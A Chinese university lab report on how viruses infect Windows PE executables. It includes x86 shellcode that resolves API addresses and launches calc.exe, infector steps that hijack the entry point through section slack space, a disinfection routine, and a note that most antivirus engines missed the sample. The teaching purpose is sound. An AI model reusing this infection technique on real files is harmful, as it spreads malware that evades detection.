實驗目的:掌握PE檔案格式;了解病毒感染PE檔案的原理。
實驗内容:
(1) 了解PE檔案格式。
(2) 根據實驗步驟,程式設計實作在PE檔案中插入病毒代碼。運作插入病毒代碼後的PE檔案。
(3) 程式設計實作在磁盤中搜尋.exe檔案的操作,對于所有的.exe檔案插入病毒代碼并運作插入病毒代碼後的exe檔案。
(4) 程式設計實作在磁盤中搜尋(3)中的.exe檔案的操作,對于所有的.exe檔案删除病毒代碼并運作删除病毒代碼後的exe檔案。。
項目位址
https://github.com/jmhIcoding/PE-learning.git
一、實驗原理:
Win32的可執行檔案,如*.exe、.dll、.ocx等,都是PE格式檔案。感染PE格式檔案的win32病毒,簡稱PE病毒。PE病毒同時也是所有病毒中數量極多、破壞性極大、技巧性最強的一類病毒。為了更好地發展反病毒技術,了解病毒的原理是極為必要的。一個PE病毒基本上需要具有重定位、截獲API函數位址、搜尋感染目标檔案、記憶體檔案映射、實施感染等幾個功能,這也是病毒必須解決的幾個基本問題。
PE病毒感染檔案的基本步驟如下:
(1) 判斷目标檔案開始的兩個位元組是否為“MZ”。
(2) 判斷PE檔案标記“PE”。
(3) 判斷感染标記,如果已被感染過則跳出繼續執行HOST程式,否則繼續。
(4) 獲得Directory(資料目錄)的個數,(每個資料目錄資訊占8個位元組)。
(5) 得到節表起始位置。(Directory的偏移位址+資料目錄占用的位元組數=節表起始位置)。
(6) 周遊所有的節表,找到第一個具有可以容納所有病毒代碼空閑空間的節。
每個節的空閑空間的計算方法:
第i個節的空閑空間=第i+1個節的虛拟位址-第i個節的虛拟位址-第i個節的Misc.VirtualSize
(7) 開始寫入目标代碼:
- 計算目标代碼的檔案偏移位置,以後目标代碼将從該位置寫入PE檔案。其計算方法為:目标節表的Misc.VirtualSize+目标節表的PointerToRawData
- 修改目标的節的節屬性為0xE00000E0,是目标節變成可讀、可寫、可執行。
- 寫入目标代碼的資料段
- 寫入目标代碼的執行主體
- 修改AddressOfEntryPoint(即程式入口點指向病毒入口位置),同時儲存舊的AddressOfEntryPoint,以便傳回HOST繼續執行。
- 更新SizeOfImage(記憶體中整個PE映像尺寸=原SizeOfImage+病毒節經過記憶體節對齊後的大小)。SizeOfCode 代碼的大小,即是原SizeOfCode+病毒代碼經記憶體對齊後的大小。
- 寫入感染标記,在感染标記後面寫入舊的AddressOfEntryPoint利于解毒。
二、實驗器材(裝置、元器件)
(1) 學生每人一台PC,安裝Windows作業系統。
三、實驗步驟:
PE檔案病毒
1.編制一個輸出為“hello world!”的簡單程式,運作後得到hello.exe檔案。
2.編制一個簡單的病毒代碼,該病毒可以啟動系統的電腦程式。
3.編制程式在hello.exe檔案中插入病毒代碼,并運作插入代碼後的hello.exe。
4.運作解毒代碼,對剛剛的被感染的hello.exe進行解題,使病毒代碼得不到執行。
四、實驗資料及結果分析:
1、 編寫宿主程式hello.exe:
int main()
{
printf(“Hello world!..\n”);
system(“pause”);
return 0;
}
運作效果:
2、 編寫病毒代碼
病毒代碼的基本思路為:
A. 首先通過TEB動态擷取KernalBase32.dll的基位址
B. 然後在KernalBase32的程序空間進行搜尋,尋找到GetProcAddress()函數的函數位址。
GetProcAddress()函數的函數原型為:
FARPROC GetProcAddress(
HMODULE hModule, // DLL子產品句柄
LPCSTR lpProcName // 函數名
);
通過這個函數可以擷取指定函數在某個dll裡面的函數位址。
我們會使用這個函數擷取LoadLibraryExa函數以及system()函數的位址。
LoadLibraryExa的函數原型為:
HMODULE WINAPI LoadLibraryEx(
_In_ LPCTSTR lpFileName,//DLL檔案的檔案名,例如“msvcr120.dll”
_Reserved_ HANDLE hFile,//保留字,設定為0
_In_ DWORD dwFlags//标志位,設定為0x10,以最高權限加載dll
);
LoadLibraryExa函數用于加載某個dll檔案,在本實驗中用于加載msvcr120.dll,而system()存在于msvcr120.dll,我們用類似于system(“calc.exe”)的調用方法來通過system()啟動電腦程式。
C. 考慮到病毒代碼要使用需要資料,是以會在代碼前添加資料段。
病毒代碼的布局為:
資料區共96個位元組
包括:
舊的AddressOfEntryPoint,程式入口(4個位元組)
Baseofmsvcr120;目标dll檔案的基位址(4個位元組)
AddOfFunction;目标函數(system)的函數位址(4位元組),該函數将會被執行。
addOfcurrent;病毒代碼的虛拟位址,用于重定位(4位元組)
dllname;需要載入的目标dll的檔案名,(16位元組),也就是“msvcr120.dll”
functionname;目标dll裡面需要執行的函數(16位元組),也就是“system”
info;functionname函數的參數(16位元組),也就是“calc.exe”
loadLibrarayEx; LoadLibraryExa的字元串(16位元組)
pLoadLibraryExa;LoadLibraryExa函數的位址(4位元組)
kernalBase; KernalBase的基位址(4位元組)
getProcAddr; getProcAddress函數的基位址(4位元組)
他們的定義為:
//病毒代碼塊
//資料區
DWORD oldEntry = fileh.OptionalHeader.AddressOfEntryPoint;//-92
DWORD baseOfmsvcr120 = 0;//-88
DWORD addOfprintf = 0;//-84
DWORD addOfcurrent = 0;//-80
char dllname[16] = "msvcr120.dll";//-76
char functionname[16] = "system";//-60
char info[16] = "calc.exe";//-44
char loadlibraryEx[16] = "LoadLibraryExA";//-28
DWORD pLoadLibraryExA = 0;//-12
DWORD kernelBase = 0;//-8
DWORD getProcAddr = 0;//-4
代碼執行區的設計:
首先需要進行重定位,通過
call A
A :
pop edi
//可能會有一定偏移
sub edi,5
mov [edi-80], edi;//assign current address.
将目前記憶體位址儲存到edi中,此時edi先低位址偏移80個機關就是資料區中addOfcurrent所在的記憶體單元。注意edi需要先減去5個位元組,因為call和pop指令占據了5個位元組。減去5個位元組後,edi就是執行資料區getProcAddr的末尾。
接着擷取KernalBase32的基位址:
mov eax, fs:[30h]
mov eax, [eax + 0ch]
mov eax, [eax + 1ch]
mov eax, [eax]
mov eax, [eax + 8h]
mov [edi-8], eax;
這主要是通過PEB和TEB的結構來擷取的,這種方法在Windows10,Windows7以及XP都可以正确的擷取KernalBase32基位址。
接着搜尋GetProcAddress函數的位址。
mov edi, eax
mov eax, [edi + 3Ch]
mov edx, [edi + eax + 78h]
add edx, edi; edx = 引出表位址
mov ecx, [edx + 18h]; ecx = 輸出函數的個數
mov ebx, [edx + 20h]
add ebx, edi; ebx =函數名位址,AddressOfName
search :
dec ecx
mov esi, [ebx + ecx * 4]
add esi, edi; 依次找每個函數名稱
; GetProcAddress
mov eax, 0x50746547
cmp[esi], eax; 'PteG'
jne search
mov eax, 0x41636f72
cmp[esi + 4], eax; 'Acor'
jne search
; 如果是GetProcA,表示找到了
mov ebx, [edx + 24h]
add ebx, edi; ebx = 序号數組位址, AddressOf
mov cx, [ebx + ecx * 2]; ecx = 計算出的序号值
mov ebx, [edx + 1Ch]
add ebx, edi; ebx=函數位址的起始位置,AddressOfFunction
mov eax, [ebx + ecx * 4]
add eax, edi; 利用序号值,得到出GetProcAddress的位址
sub eax, 0xb0
pop edi
mov ebx, edi;
mov [ebx-4], eax;//GetProcAddress的位址
這主要通過搜尋,搜尋得到“GetProcAddress”這個名字,然後通過這個名字根據導出表的結構由北橋查詢得到GetProcAddress的位址,并将其儲存在資料區的getProcAdd裡面。
然後通過GetProcAddree擷取LoadLibraryExa的位址:
sub ebx,28
push ebx
add ebx,28
push [ebx-8];
call [ebx-4];
mov [ebx-12], eax;//LoadLibrary的位址
再通過LoadLibraryExa載入msvcr120.dll這個動态連結庫:
push 0x00000010
push 0x00000000
sub ebx,76
push ebx
add ebx,76
//push eax
call [ebx-12]
mov [ebx-88], eax;
其中ebx-76正是資料區中“msvcr120.dll”這個字元串的位址。這個庫的句柄儲存下來
接着得到system的位址:
mov edx, eax
sub ebx,60
push ebx
add ebx,60
push edx
call [ebx-4];//得到system的位址
mov [ebx-84], eax;
調用system函數:
sub ebx,44
push ebx
add ebx,44
call eax
恢複堆棧:
add esp, 400h
pop ecx
pop esp
pop ebp
pop edx
pop esi
pop eax
pop ebx;
調轉回原來的入口點:
mov eax, fs:[30h]
mov eax, DWORD PTR [eax+8]
add eax, [edi-92]
mov edi,eax
pop eax
jmp edi
注意原來入口的位址需要動态的計算,資料區的oldEntryAddress隻是儲存了舊的入口點的相對偏移位址。我們需要把這個相對偏移位址加上程序本身的基位址以此獲得虛拟位址。
3、 編寫感染代碼
感染代碼主要是檢查目标檔案是否是PE檔案,是否被感染,如果可以感染那麼将病毒代碼插入到目标PE檔案裡面。
本實驗使用DOS緊跟着的8個位元組作為感染标志,如果DOS後面的4個位元組為0x06060606則說明已經感染,後面的4個位元組是舊的位址用于解毒用。
如果未感染,則:
1、 擷取PE檔案的所有節表
2、 搜尋那個節表有足夠的空閑來容納病毒代碼
3、 将病毒代碼寫入PE檔案的合适節中
4、 修改SizeOfImage,SizeOfCode,以及被修改節的節屬性
5、 加入感染标記,将PE檔案DOS後面的4個位元組設定為0x06060606,同時将舊的程式入口點儲存在0x06060606後面
6、 修改PE檔案的程式入口點。
4、 編寫解毒代碼
解毒的過程很簡單,因為我們在感染的時候會将宿主程式的真正入口儲存在感染标記的後面,是以我們隻需要擷取宿主程式的真正入口點,将宿主程式的入口點修改回去即可,這樣病毒代碼就不會得到執行了。
5、 運作結果
我們設定宿主程式為1中的hello.exe,感染前該程式的運作效果為:
我們運作病毒程式對宿主程式進行感染:
病毒程式感染中:
運作感染後的宿主程式:
宿主程式在列印Hello world之前啟動了電腦程式,說明感染成功
我們使用IDA檢視宿主程式,也可以看到病毒代碼被成功插入到宿主中:
接着我們運作解毒程式,對宿主程式進行解毒:
解毒程式解毒中:
再運作宿主程式:
我們可以發現,宿主程式又恢複了正常,并沒有啟動電腦程式。是以解毒成功!
五、實驗結論、心得體會和改進建議:
本實驗通過實際編寫一個PE程式的病毒代碼、感染子產品、解毒子產品,對PE檔案的格式掌握的更加透徹。本實驗通過搜尋PE檔案中帶有空閑位址空間的節來把病毒代碼插入到空閑的空間中。然後再修改相應的字段,修改節的屬性,修改入口點,添加感染标志。感染後的程式運作結構顯示病毒成功的感染了宿主程式,并且在宿主程式運作之前搶先拿到了控制權,啟動了一個電腦程式後又将控制權返還給宿主程式。實驗相當成功。
另外本人将病毒程式上傳至線上病毒掃描網站,以測試該病毒程式能否被防毒軟體識别,其清除的結果如下:
共測試了39個知名防毒軟體,隻有1個防毒軟體準确的識别了該病毒程式。
卡巴斯基、賽門鐵克、瑞星、奇虎360都沒有準确的識别出來。這說明,傳統防毒軟體在面對未爆發的新型病毒時的局限性,盡管這還是一個普通的PE病毒。
六、對本實驗過程及方法、手段的改進建議:
實驗指導書上建議是直接在PE檔案新增加一個節來插入病毒代碼,實際上該工作量特别複雜。因為插入一個新的節以後,節表要麼需要插入一個新節表項,這就需要對節表項後面的所有的節進行偏移,這個過程很容易出錯;要麼就直接把最後一個節表(一般是空閑的節表)進行修改,這樣就無須對節進行偏移,但是并不是所有的PE檔案都會預留一個空白的節表項。
是以本實驗采用的是将病毒代碼插入到節的空隙中的方式,通過這個方式無須對節進行偏移,無須關心修改後的PE檔案的對齊問題。
另外也可以将病毒代碼直接附在最後的一個節的末尾和原來最後一個節的内容合并起來變成一個大的節,這個無須添加新的節表項,不存在節的偏移問題。